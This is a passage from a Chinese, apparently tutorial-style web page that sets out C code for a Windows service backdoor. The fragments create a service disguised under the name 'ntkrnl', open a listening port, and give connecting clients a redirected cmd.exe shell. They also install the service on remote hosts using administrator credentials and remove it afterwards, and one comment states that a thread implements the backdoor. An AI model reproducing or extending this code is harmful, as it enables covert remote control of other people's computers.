|
typedef struct PROCESSDATA { HANDLE hProcess; //创建Cmd进程时获得的进程句柄; DWORD dwProcessId; //创建Cmd进程时获得的进程标识符; struct PROCESSDATA *next; //指向下一个数据结构的指针; }PROCESSDATA,*PPROCESSDATA; //在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构;
void WINAPI CmdStart(DWORD,LPTSTR *); //服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程; void WINAPI CmdControl(DWORD); //服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程; DWORD WINAPI CmdService(LPVOID); //服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程; DWORD WINAPI CmdShell(LPVOID); //创建管道与Cmd进程,及Cmd的输入/输出线程; DWORD WINAPI ReadShell(LPVOID); //重定向Cmd的输出,读取信息后发送到客户端; DWORD WINAPI WriteShell(LPVOID); //重定向Cmd的输入,接收客户端的信息输入到Cmd进程; BOOL ConnectRemote(BOOL,char *,char *,char *); //如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替; void InstallCmdService(char *); //复制传送文件,打开服务控制管理器,创建或打开服务程序; void RemoveCmdService(char *); //删除文件,停止服务后,卸载服务程序;
2.服务程序相关函数
SERVICE_TABLE_ENTRY DispatchTable[] = { {"ntkrnl",CmdStart}, //服务程序的名称和入口点; {NULL ,NULL } //SERVICE_TABLE_ENTRY结构必须以“NULL”结束; }; StartServiceCtrlDispatcher(DispatchTable); //连接服务控制管理器,开始控制调度程序线程; ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl); //注册CmdControl函数为“HandlerEx”函数,并初始化; ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(ServiceStatusHandle,&ServiceStatus); //设置服务的当前状态为SERVICE_RUNNING; hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); //创建服务主线程,实现后门功能; WaitForSingleObject(hMutex,INFINITE); //等待互斥量,控制全局变量的同步使用; TerminateProcess(lpProcessDataHead->hProcess,1); //终止创建的Cmd进程; hSearch=FindFirstFile(lpImagePath,&FileData); //查找系统目录下服务程序的文件是否已经存在;
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |